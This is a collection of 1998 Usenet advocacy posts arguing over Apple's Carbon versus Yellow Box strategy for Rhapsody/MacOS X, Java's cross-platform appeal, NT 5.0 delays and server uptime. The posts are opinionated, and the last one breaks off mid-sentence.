> Are they wrong?
How would you know?
> Well, here you are assuming that *all* developers will make the same
> decision.
No, I'm assuming that 95% of them will.
> The ones that have new apps and still have an easy choice to
> make might not agree with your assessment. But who are they?
Dunno.
MJP
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Tue, 06 Oct 1998 21:23:08 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-0610982123080001@pelli.pathology.pitt.edu>
References: <6vdd10$mve@newsb.netnews.att.com>
In article <6vdd10$mve@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> While most of Ziff-Davis reviewed NT 5.0 Beta 2 favorably,
> and a ZD story reported that Microsoft may provide Beta 3
> by Thanksgiving and the final product by February 1999,
> a ZD editorial (in PCWeek) says that this schedule for NT 5.0
> is not realistic.
>
> Quote : "There's no sign based on tests and feedback on Beta 2,
> which was released in August, that the product will be ready for
> prime time before late 1999....... We think that these early-release
> feelers smack of Microsoft toying with the market again, halting,
> if slightly, IT plans to look elsewhere for application server
> platforms."
>
> http://www.zdnet.com/pcweek/stories/columns/0,4351,356233,00.html
>
Arun
Are you tring to tell me that MS is be purposely misleading. Bill gates
is our freind and he would never do that. RIGHT? ;-)
Peter
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 01:49:58 GMT
Organization: Primenet (602)416-7000
Message-ID: <6vehc6$lqq$1@nnrp03.primenet.com>
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu> <361ab93b.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
: The fact is, most people don't really care about making their app
: run on a toaster or set-top box. They know who their user is, and
: they know what hardware and OS are used. They don't care about
: Scott McNealey's cross-platform fantasy, they want to use Java
: to write software and get their work done.
Hmmm. We deliver Java applications for NT and for Solaris and even for
the occasional NC. Does it matter if "most people don't", if you can and
make money at it?
P.S. - it is _always_ good for a laugh when a Mac advocate uses the "most
people" arguement. Ah . . . what computer do most people use?
John
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: I still use OPENSTEP........and I like it!
Newsgroups: comp.sys.next.advocacy
References: <6v6b9c$8s2$3@news.bctel.net> <6v8f61$8l7@news1.panix.com> <6v9mn8$ior$1@news.bctel.net> <6v9t1c$8be$1@news.idiom.com>
Message-ID: <3618e59b.0@news.depaul.edu>
Date: 5 Oct 98 15:28:27 GMT
John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
> Maria Iglesis may or may not have said:
> -> I also wonder if Adobe will offer a DPS package
> -> since Apple won't be offering it.
> No, they won't. That's the problem.
> Adobe is being rather thick-headed w/r/t DPS and its future. They blew their
> chance to have it everywhere by being ridiculously arrogant and difficult to
> work with, and now they're killing DPS just when Apple was ready to put it
> into millions of systems.
Considering the apparent state of their business (and the recent
head-rollings there) I'm not sure that would have been a good
idea. Without a per-seat license fee, I'm not sure what the
business case is for them.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
References: <6vbi7r$12su2@odie.mcleod.net> <B23FA979-3CAC6@206.165.43.169> <slrn71l5d1.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ve82u$2iq$1@msunews.cl.msu.edu> <361ab93b.0@news.depaul.edu> <6vehc6$lqq$1@nnrp03.primenet.com>
Message-ID: <361ad8a0.0@news.depaul.edu>
Date: 7 Oct 98 02:57:36 GMT
In comp.sys.next.advocacy John Jensen <jjens@primenet.com> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> : The fact is, most people don't really care about making their app
> : run on a toaster or set-top box. They know who their user is, and
> : they know what hardware and OS are used. They don't care about
> : Scott McNealey's cross-platform fantasy, they want to use Java
> : to write software and get their work done.
> Hmmm. We deliver Java applications for NT and for Solaris and even for
> the occasional NC. Does it matter if "most people don't", if you can and
> make money at it?
I said 'most'. Not 'all'.
> P.S. - it is _always_ good for a laugh when a Mac advocate uses the "most
> people" arguement. Ah . . . what computer do most people use?
First, I'm not a Mac advocate.
Second, look up the definition of 'most'. You'll find that it's not
a synonym for 'all'.
Would you like to demonstrate how I'm incorrect? Especially since
*most* software written is written for internal use by companies,
who aren't concerned with supporting a wide variety of platforms,
since the software is going to run on a single platform.
I'd wager that the amount of software being written in VB, Visual C++,
Delphi, and Access dwarfs the amount of software being written
in Java. Exceedingly few of those developers care about multi-
platform support.
The multiplatform capabilities of Java are of interest to people
writing software for multiple platforms, like you. Most people don't
do this, because they have a single platform in mind for deployment.
For them, Java's other capabilities are more important, and the
multiplatform support is a nice thing to have in case they ever
need it (but probably won't).
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 03:39:25 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf1a2$87336410$06387880@chewy>
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <361ABD55.870F151B@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote
> > Photoshop certainly wasn't "rewritten" in a couple of
> > weekends, and yet that's how long it took to get first
> > code running on the earliest DEMO version of the Carbon
> > API, May WWDC 98.
>
> They are "rewritten", no matter how much effort that entails.
If you think the amount of work required by developers to support
Rhapsody doesn't matter, then I don't think there is any argument I can
probably make which will change your mind.
> They still don't get YB! All they get is a sticker that
> says "Rhapsody Ready" or whatever Apple intends to do to
> reward Carbonizers, and their app gets to pretend to be a
> real Rhapsody program, when it's really not.
Customers don't care what language their programs were written in or
which APIs were used. They care about the look and feel of the
programs, its capabilities, and they would prefer that their system
doesn't crash.
A Carbonized app will inherit all the modern OS capabilities that a YB
application does. If Apple supports a logo program, it will probably
give a "MacOS X" logo for any app written to YB or Carbon.
> Forget MacOS X. We've got our hands full with just
> two operating systems, we don't need a third muddling
> the discussion. I couldn't care less about MacOS X because
> unless Rhapsody does something magical MacOS X will never
> ship.
Whoa! Where have you been? We aren't talking about *3* operating
systems, we are talking about *2* - the current MacOS lineage and the
MacOS X lineage.
MacOS X is essentially Rhapsody with Carbon support. Carbon gives
existing MacOS developers a smooth transition to the new lineage. And
because developers are endorsing it, users will get their existing
MacOS applications which enjoy the full support of a modern OS provided
by MacOS X.
> > Macromedia, Microsoft and Adobe don't seem to believe
> > that it is silly. Are they wrong?
>
> How would you know?
Because they have openly endorsed Carbon. They never endorsed YB.
They have spent effort porting their company jewels to Carbon. They
have publically demonstrated these programs running on Carbon.
[Although, I have not seen a Microsoft app running on Carbon]
Suddenly I feel Michael might be pulling our legs.
Todd
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 7 Oct 1998 03:39:04 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf1a2$79d91df0$06387880@chewy>
References: <36099217.345010578@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de><pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.com> <361AB985.AE669F81@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote
> Let me review the above:
>
> 1) Carbon is a modest but necessary upgrade to the Toolbox
Carbon is probably the biggest change in the MacOS since, and maybe
including multifinder. Carbon allows MacOS applications to have true
pre-emptive multi-tasking and memory protection - what Apple has been
promising for years but never able to deliver.
But there is more to the story; read on...
> 2) Carbon belonged in MacOS 8 but Apple failed to plot the
> strategy in time
Exactly!! If Apple's previous leaders had gone with the Carbon model
for Copland, and was able to execute on it (big "if" given Apple's
track record at the time), Copland would have been MacOS 8, Apple would
have been on par with NT, and Apple wouldn't have need to look outside
for a new OS.
But there is more to the story; read on...
> Moving on to the present, we're now looking at Carbon in the context
of
> Rhapsody.
> Why? Carbon shouldn't be competing with YB!
It isn't. No one other than existing NEXTSTEP developers were going to
use YB. YB had been Apple's announced strategy for almost a year and a
half before Carbon was even known to have existed, and not a single
major developer announced plans to support it.
> It shouldn't be competing with the Blue Box.
No. Carbon is to essentially replace the Blue Box. The Blue Box will
probably be used by applications which are essentially not being
maintained or upgraded - applictions that have ended their life cycle.
> It's totally out of place on Rhapsody!
Rhapsody had generated very little excitement outside NEXTSTEP users.
Carbon has given Rhapsody (MacOS X) a lease on life.
> 1) Carbon draws attention and development effort (and
> incentive) away from YB
Once again, after almost a year and a half, virtually no one had
endorsed YB. Java may draw development effort away from YB, but not
Carbon.
> 2) Carbon's presence on Rhapsody deprecates the Rhapsody
> Blue Box
The Blue Box was always a crutch until developers could move their
applications to full process membership in Rhapsody. Originally, the
only way that would happen would be for developers to rewrite their
applications using YB, but none of the developers were doing that.
Because developers have endorsed Carbon users will be able to run major
Mac applications (e.g., Photoshop and Macromedia) as full fledged
processes with preemptive multi-tasking and memory protection!
> 3) Carbon's absence on MacOS (for the time being)
> deprecates MacOS
Libraries supporting the Carbon APIs will be available for the current
MacOS architecture so Carbonized apps can run on it. Developers will
only have to support one development tree for both the legacy MacOS
architecure and the new modern OS architecure.
The MacOS architecture is inheritently bad for the fundamental OS
capabilities we expect in a modern OS. Radical surgery was needed, and
Carbon is the approach that causes the least pain with major developers
with established MacOS applications.
> The whole thing is totally muddled! It could be so simple:
>
> 1) Carbon belongs in MacOS, where it will represent the
> next breed of MacOS software tools and applications, and
> the future of that platform
Carbon isn't simply about a new API for developers - it is the approach
necessary to easily move current Mac developers with as little pain as
possible onto a robust modern OS.
> 2) Blue Box is the appropriate backward-compatibility
> solution for Rhapsody, because it
> a) works
> b) runs *all* MacOS software, not just Carbon apps
It will probably never run *all* MacOS software. All those
applications that break with each MacOS upgrade usually break because
they are violating the pure MacOS API in some way. Those will probably
still break in the Blue Box.
> c) provides clear distinction between YB and
> Toolbox apps
Users don't want a clear distinction between the new and the old
applications. People use their Mac because they like the way it does
things.
Developers don't want to support two radically different APIs either.
> Moving on the future, we're now looking at YB without a home.
That may end up being true, but it isn't because of Carbon. Again,
major developers were not jumping to use YB for the year and a half
before Apple announced it was buying NeXT and Carbon was announced.
Developers who want to learn a whole new approach and API or are
starting an application from scratch are probably going to lean towards
Java.
I believe Apple biggest decision is how it will reconcile supporting
both Java and YB.
> We're also looking at a MacOS and Rhapsody at odds with
> each other, with MacOS the long-term loser...
The current MacOS's underlying architecure is the long-term user. Its
fundamental architecure comes from design requirements from 16 or 17
years ago, to run on a computer with 128K, no hard drive, and no
networking and competing against DOS and the Apple II.
The current MacOS architecture has dry rot, and Apple had to find a way
to get a modern OS without alienating existing developers or users.
However, the OS roadmap has never looked smoother for developers and
users. Developers can [relatively] easily transition applications with
*years* of development to a modern OS architecture, and users still get
their MacOS look and feel.
> What panicked developers was not the lack of something like
> Carbon on Rhapsody. It was the lack of something like Carbon
> on MacOS.
Carbon's purpose isn't to create a new API. Its purpose to to create
an API amenable to a modern OS architecure that is as close the the
current MacOS Toolbox API as possible.
Putting Carbon on the current MacOS architecure doesn't create any new
capabilities for that architecure. The reason for putting Carbon APIs
on the existing MacOS architecture is to give developers a single API
to code to - their apps will run on both the old MacOS architecure as
well as the new one, but the apps only inherit the modern OS
capabilities on the new architecture (Rhapsody/MacOS X).
> There should never have been a "Carbon".
Without Carbon, all the major software developers would probably walk
away from the Mac platform.
Todd
Message-ID: <361AE99D.E05CDCD9@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <01bdf190$e30a7560$06387880@chewy>
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NNTP-Posting-Date: Wed, 07 Oct 1998 00:11:04 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 06 Oct 1998 23:10:05 -0500
Todd Heberlein (todd at NetSQ dot com) wrote:
> Converting an existing MacOS app, potentially with years and years of
> development, to Carbon is *much* easier than converting a MacOS application
> to YB.
As I posted elsewhere, conversion *at all* is the source of the problem.
It doesn't matter if it's *real* easy for vendors to modify their
devices to support USB. The fact of the matter is that all the existing
devices won't work with an iMac!
> In short, virtually no major MacOS application developer had endorsed YB,
> and none probably would even without Carbon.
I don't understand. Are you saying that Carbon is causing developers to
endorse YB? Or are you saying that Carbon is causing developers to
endorse Rhapsody?
> Of course Rhapsody was going to be renamed MacOS <something>. "Apple" and
> "Mac" were and still are synonymous in most people's minds - you just don't
> drop the name that everyone associates with you.
That's right. Everyone associates Apple with Macintosh and the MacOS.
That doesn't mean Rhapsody has to supplant the existing MacOS as the
future MacOS.
And while we're on the subject of what people associate with Apple, as
long as it's Macintosh and MacOS, why is Apple still selling monitors?
Will Apple still be making its own keyboards and mice when peripheral
vendors have switched to USB? If so, why? If Apple's manufacturing
pipeline is so saturated, why are they weighing it down with
non-essentials?
Don't bother to answer that, I just wanted to raise the issue for future
reference. <plonk, into DejaNews>
> Of course the new operating system is going to have the look-and-feel of
> MacOS.
Why? Why can't it have an OpenStep look-and-feel? Unless, of course, you
are going to use the new operating system to cannibalize the existing
market, in which case I understand perfectly. I think developers
understood this pretty well, too.
> That is what the huge base of loyal customers expect.
I doubt the "loyal customers" expect much of anything anymore, for fear
of having the rug pulled out from underneath them. I will tell you this,
though, many of these "loyal customers" expect Themes support in new
versions of MacOS, which (last I checked) means they are anxious to
change the "look-and-feel" of the operating system. Did you miss this?
> If Apple
> dropped the name "Mac" and entirely changed the look-and-feel to NEXTSTEP
> (which I prefer), Apple would probably lose the vast majority of their
> customers who buy upgrades and keep Apple afloat.
What if they gave customers their MacOS *and* their Rhapsody, and what
if they even made look-and-feel a matter of choice rather than mandate?
Oh, Rhapsody was going to be such a new and exciting UI; that's what
brought me to this newsgroup in the first place, I wanted to argue about
what it should be.
Then DR1 hit and it looked like dogmeat and Apple said "we haven't had
time to make a great interface, we were focusing on the operating
system*. Real Soon Now we're going to invest in a totally new UI that
you'll all worship with gifts and offerings" and gosh, we're all still
waiting, aren't we?
* Wasn't interface one of the reasons Apple put DR1 under NDA? They
didn't want anyone drawing conclusions based on the status at that time.
Surprise, surprise. Sucker punch.
> Apple isn't big enough to put a gun to anybody's head. If Apple says,
> "This is the way it is, and if you don't like it, tough!", then most of the
> big developers would probably just walk away.
Uh, that's pretty much what Apple said, and that's pretty much what
developers did.
> Compared to whose operating system? Every major OS developers changes its
> directions based on the changing business climate. They don't operate in a
> vacuum.
Ah, the "everyone does it" thing. Arun Gupta posts articles about NT's
failure, some of them about uncertain directions in the OS. It seems to
be accepted as a Bad Thing in these circles...
> Bill Gates once said, "I would rather be right than consistent." Ideally
> we would like to be both right *and* consistent, but if the environment
> changes or your plan doesn't seem to be working, staying consistent is
> suicide.
The plan was working great until around about August 1997, right around
when the Great Licensing Panic began and Apple began to close ranks.
It's so curious that it was rrrriiiight about the time Microsoft made a
$150 million investment in Apple. Just an observation.
> PS. IMHO, the real threat to YB is not Carbon but Java.
I think the NeXT community is tilting at windmills over this Java thing.
Java and YB could be wonderful partners, but most of the scenarios I
have imagined involve a cross-platform YB that could piggyback Java and
all that it entails all the way to the Gates of Hell. Since that's
pretty much been scrapped, I dunno. Maybe you have a point. In that case
Java is a threat to YB the same way it's a threat to Microsoft. Wouldn't
it be great if Apple used its partnership with Microsoft to help defeat
the cross-platform Java demons? YB-specific JVM, that sort of thing.
Funny how some people here say "nobody wants cross-platform computing"
but others (and sometimes the same people) say "Java is a threat to our
platform".
MJP
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 05 Oct 1998 21:18:49 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R0510982118490001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net>
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In article <36196301.72F98584@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Pulsar wrote:
>
> > That's the way I used to think. I've begun to realize that very few people
> > give a bloody damn about Yellow Box. The people who have investments in the
> > Mac OS (as in years of code development and products) _do_not_care_ about
> > YB. It simply does not matter. For them to support YB would mean scrapping
> > all of their time and experience at working with the Mac OS for an entirely
> > new API. It would mean that except that they would _also_ have to support
> > the old Mac OS because YB even if it is wildly successful in its deployment
> > will represent a relatively small portion of the market.
>
> This problem was entirely of Apple's own creation (post-Steve). Amelio
> had originally planned to pitch Rhapsody and MacOS as separate
> solutions, and to nurture the existing OPENSTEP enterprise market into a
> real force.
Incidentally, OpenStep Enterprise is the Windows version of OpenStep (I think).
> Jobs amended the plan with "milk the MacOS and move on", creating a
> serious problem for existing MacOS developers, who suddenly found that
> their expertise was threatened. Remember that Amelio promised "we will
> support MacOS for as long as our customers want it." This committment
> extended to "probably at least ten years". I doubt anyone believed MacOS
> would last that long, so Amelio was basically extending an invitation to
> MacOS developers to *stay with the platform* as long as they liked.
> "We're here for you" was the message.
>
> Of course, it was also during Amelio's reign that the MacOS development
> team went from 6 to over 100.
At one point Apple had over 300 people working on Copland.
<snip>
Most of Apple's problems are its own darned fault. Blaming "the media" or
"developers" is easy, but they do not stand at the root of the problem. The
root of the problem is that Apple is inept. It is wishy-washy, unreliable,
often times incompetent, uncertain, and baselessly arrogant. That's how I
see it anyway. That Apple seems to see how to do things right at the moment
is surprising to me, but I acknowledge that what it's doing now was made
necessary by its past stupidity.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.cloudmaster.ml.org/~tokarek>
Message-ID: <361AF117.5B4413A9@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <3619B2E5.19831926@nstar.net> <slrn71l49m <361A9F92.1D9F3A3@ericsson.com> <rbarrisF0FK54.KuB@netcom.com> <361ABD55.870F151B@nstar.net> <01bdf1a2$87336410$06387880@chewy>
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NNTP-Posting-Date: Wed, 07 Oct 1998 00:43:19 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 06 Oct 1998 23:41:59 -0500
Todd Heberlein (todd at NetSQ dot com) wrote:
> > They are "rewritten", no matter how much effort that entails.
>
> If you think the amount of work required by developers to support
> Rhapsody doesn't matter, then I don't think there is any argument I can
> probably make which will change your mind.
That is *NOT* what I said! Do *not* mischaracterize my remarks.
> Customers don't care what language their programs were written in or
> which APIs were used.
I don't know where you get this. Customers obviously care if a program
was written in Java. They obviously cared, once upon a time, whether it
had a "System 7 Ready" sticker on it. They certainly cared if it had a
"Win95 Ready" sticker on it. They certainly care when it has a "3Dfx" or
"Yes! Novell" on it.
If what you say were true, developers wouldn't have had to change
anything about their applications, since they could run them in the Blue
Box. Obviously, what you say is *not* true.
> They care about the look and feel of the
> programs, its capabilities, and they would prefer that their system
> doesn't crash.
>
> A Carbonized app will inherit all the modern OS capabilities that a YB
> application does. If Apple supports a logo program, it will probably
> give a "MacOS X" logo for any app written to YB or Carbon.
Precisely. You said earlier that YB and Carbon are not competitors. From
this statement, they clearly are: any developer who desires that logo
will have to choose between YB and Carbon.
> Whoa! Where have you been? We aren't talking about *3* operating
> systems, we are talking about *2* - the current MacOS lineage and the
> MacOS X lineage.
Speak-a English? "Lineage" != "operating system". "MacOS X Server" !=
"MacOS X". More than a semantic difference, obviously, since MacOS X
Server and MacOS X are substantially different.
> MacOS X is essentially Rhapsody with Carbon support.
And without NXHosting, DPS, or Intel support. Just little things like
that.
Interesting that most of these limitations were direct consequences of
having to cripple Rhapsody for the sake of Carbon. Interesting that
using Blue Box for compatibility, instead, does not require these
changes. Interesting thought (not a new one): what if Apple had provided
a MacOS upgrade plan that satisfied developers (see below for an
example), instead of turning Rhapsody into a babysitting environment for
existing Toolbox code?
I have to imagine that someone at Apple heard the MacOS X strategy, and
scratching their head, said something like "Why are we breaking Rhapsody
to run Carbon apps? Why can't we fix MacOS to do the same thing?"
Probably squelched by a middle manager somewhere. I'm sure heads would
have rolled if the official strategy had been questioned so
fundamentally.
> Carbon gives
> existing MacOS developers a smooth transition to the new lineage.
No, as you've already said, it gives developers a way to dump MacOS apps
on the new operating system. In what way does Carbon help transition
apps to YB?
> And
> because developers are endorsing it, users will get their existing
> MacOS applications which enjoy the full support of a modern OS provided
> by MacOS X.
You mean the full support of a modern OS provided by BSD 4.4. MacOS X
has nothing else that will benefit Carbonized MacOS apps.
MacWEEK, May 2, 1997:
"Emphasizing that the company has "not made a decision," Amelio said
Apple is looking at splitting off Rhapsody's Blue Box microkernel - the
Mac OS component - and selling that combination as the Mac OS, chiefly
for performance reasons."
What, exactly, will developers gain from running Carbon apps on MacOS X
that they wouldn't have gotten from MacOS 8.x running on a capable
microkernel?
What is MacOS, anyway? A loader, hardware initializers ("system
enablers"), the Toolbox library, and the Finder. Take away the
everything except the Finder and replace them with Mach, BSD,
appropriate hardware drivers, and Carbon. In other words, Blue Box
running on BSD+Mach. You can call it "MacOS 8 as it should have been".
> Because they have openly endorsed Carbon. They never endorsed YB.
> They have spent effort porting their company jewels to Carbon. They
> have publically demonstrated these programs running on Carbon.
> [Although, I have not seen a Microsoft app running on Carbon]
I asked how he would know that these developers don't think the Carbon
plan is silly. Simply because they've followed along (following the "gun
to the head"; you do remember, right?)?
> Suddenly I feel Michael might be pulling our legs.
What is this supposed to mean?
MJP
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 05 Oct 1998 21:38:59 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R0510982138590001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <tbrown-0510982117550001@mv194.axom.com>
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In article <tbrown-0510982117550001@mv194.axom.com>, tbrown@netset.com (Ted
Brown) wrote:
> In article <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu>,
> pulsar@springnet1.com (Pulsar) wrote:
>
> >If Apple pushes the YB hard, developers will drop Mac support entirely.
> >Carbon is _absolutely_necessary_! YB _is_ the future, but Apple cannot
> >promote it as such just yet. Carbon is a way to migrate (slowly) towards
> >YB. Apple has been too wishy-washy in the past for deveopers to swallow a
> >new big change from Apple even if Apple _looks_ sincere about it. Even if
> >Apple were sincere about it, it appeared sincere about many other 'wave of
> >the future' projects that got cancelled at some point or another. Even if
> >it is different _now_ nobody trusts Apple.
>
> While I agree with your post, it strikes me as quite ironic:
>
> Developers don't trust Apple anymore, so in order to regain their trust,
> Apple has to lie to them about it's true intentions for the future.
It's not precisely a lie. For the moment, Apple is throwing its full weight
towards Carbon rather than YB because it makes sense in its current
situation to do so. When it makes sense to throw more promotional resources
into YB, Apple will do so.
That it has to behave this way is its own darned fault, but it seems to
know how to handle it more or less.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.cloudmaster.ml.org/~tokarek>
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Microsoft's Unix
Date: 6 Oct 1998 02:31:21 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6vbvdp$7aa$7@blue.hex.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net>
<6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com> <6v8ktl$4cv$1@nnrp1.dejanews.com> <6vaaqn$h6l$5@supernews.com> <6vbhrp$6hn$1@nnrp1.dejanews.com>
On Mon, 05 Oct 1998 22:39:53 GMT, Charles Swiger <chuck@codefab.com> wrote:
>In article <6vaaqn$h6l$5@supernews.com>,
> "Dan" <dan@knowspaam.com> wrote:
>[ ... ]
>>>> ...what does piss me off is listening to all the NT complaints when I'm
>>>> sitting here at a NT box that has not crashed or had a reinstall in
>>>> over a year,
>>>
>>>I'm pretty sure I don't believe you. NT stable for over a year without
>>> rebooting?
>>
>> No no... I reboot. I just said it has not crashed in over a year, nor has
>> NT been reinstalled in over a year.
>
>Let me put this to you more gently than some others have.
>
>There are operating systems out there which stay up for years at a time
>*without* rebooting (voluntarily or because of a crash), even when people
>install or upgrade software.
>
>You shouldn't _have_ to reboot in order to use a computer.
Indeed.
My employer had a power outage which evidently forced restarting 17
machines. They are *never* restarted - upgrades are done online.
Disks, CPUs, memory, all can be added without a need to shut anything
down.
The only reason to shut them down is:
a) Fire, and
b) The power goes out for an entire city. (Specifically, Tulsa,
Oklahoma.) And even that isn't supposed to be enough to have this
result.
In effect, only *physical disasters* about which movies could be made
are considered sufficient cause to power down the servers.
Obviously they're not running Windows NT...
That brief power outage cost some millions of dollars.
--
Microsoft has brought the microcomputer OS to the point where it is more
bloated than even OSes from what was previously larger classes of
machines altogether. This is perhaps Bill's single greatest
accomplishment.
cbbrowne@ntlug.org- <http//www.hex.net/~cbbrowne/msprobs.html>
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 6 Oct 1998 02:27:27 GMT
Organization: University of Illinois at Chicago
Message-ID: <6vbv6f$26l8$1@piglet.cc.uic.edu>
References: <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net>
Michael Peck (mjpeck@nstar.net) wrote:
: Anil T Maliyekke wrote:
: > However, most Solaris customers are far more willing to part with
: > more of their money than most Mac customers.
: Please consider this reply a reply as well to your previous posting
: (concerning MacOS licensing). The point I want to make here is the point
